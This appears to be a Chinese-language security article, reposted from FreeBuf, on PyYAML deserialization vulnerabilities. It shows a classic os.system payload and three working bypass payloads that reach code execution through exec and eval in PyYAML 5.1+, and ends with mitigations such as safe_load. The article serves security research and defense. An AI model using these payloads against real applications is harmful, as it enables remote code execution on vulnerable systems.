前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PyYAML反序列化防御和ByPass研究

PyYAML反序列化防御和ByPass研究

作者头像
FB客服
发布2023-04-26 21:21:35
2790
发布2023-04-26 21:21:35
举报
文章被收录于专栏:FreeBufFreeBuf

PyYAML介绍

PyYAML是Python出众的模块之一。PyYAML就是python的一个yaml库yaml格式的语言都会有自己的实现来进行yaml格式的解析(读取和保存)。若对于Python反序列化有所了解一定会听说过它。

PyYAML历史漏洞和修复

它的反序列化漏洞使得大多数Python安全研究人员对齐记忆犹新。

当咱们使用反序列化时候会使用如下的载荷:

代码语言:javascript
复制
!!python/object/new:os.system ["whoami"]

并且使用load()进行加载时PyYAML将会执行os.system(“whoami”)。这样会导致命令执行,从而输出用户名。

该漏洞在5.1+版本之中得到修复,如果依然使用历史漏洞载荷,将会得到错误提示的告警。

代码语言:javascript
复制
while constructing a Python instanceexpected a class, but found <class 'builtin_function_or_method'>  in "<unicode string>", line 1, column 1:    !!python/object/new:os.system [" ...     ^

这样因为只能反序列化部分基本类型,极大程度上缓解了反序列化漏洞带来的影响。

PyYAML ByPass

当咱们回看部分基本类型时,将会注意到Python内置方法exec、eval。在手册之中有这样一段描述。

代码语言:javascript
复制
exec 执行储存在字符串或文件中的Python语句,相比于 eval,exec可以执行更复杂的 Python 代码。

如此能够得到ByPass载荷。

PayLoad1:

代码语言:javascript
复制
import yaml
payload = """- !!python/object/new:str    args: []    state: !!python/tuple    - "print('漏洞存在')"    - !!python/object/new:staticmethod      args: [0]      state:        update: !!python/name:exec"""yaml.load(payload)
回显:->漏洞存在

PayLoad2:

代码语言:javascript
复制
import yaml
payload = """!!python/object/new:type  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]  listitems: "print('漏洞存在')""""yaml.load(payload)
回显:->漏洞存在

PayLoad3:

代码语言:javascript
复制
import yaml
payload = """!!python/object/new:tuple - !!python/object/new:map   - !!python/name:eval  - [ print('漏洞存在') ]"""yaml.load(payload)
回显:->漏洞存在

这三种载荷均是利用基本类型之中代码执行函数,从而绕过5.1+的防御措施。

修复方法

1、按照官方推荐使用safe_load对于序列化内容进行加载。 2、检测加载文件头防止加载代码执行函数。

精彩推荐

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-12-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • PyYAML介绍
  • PyYAML历史漏洞和修复
  • PyYAML ByPass
  • 修复方法
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档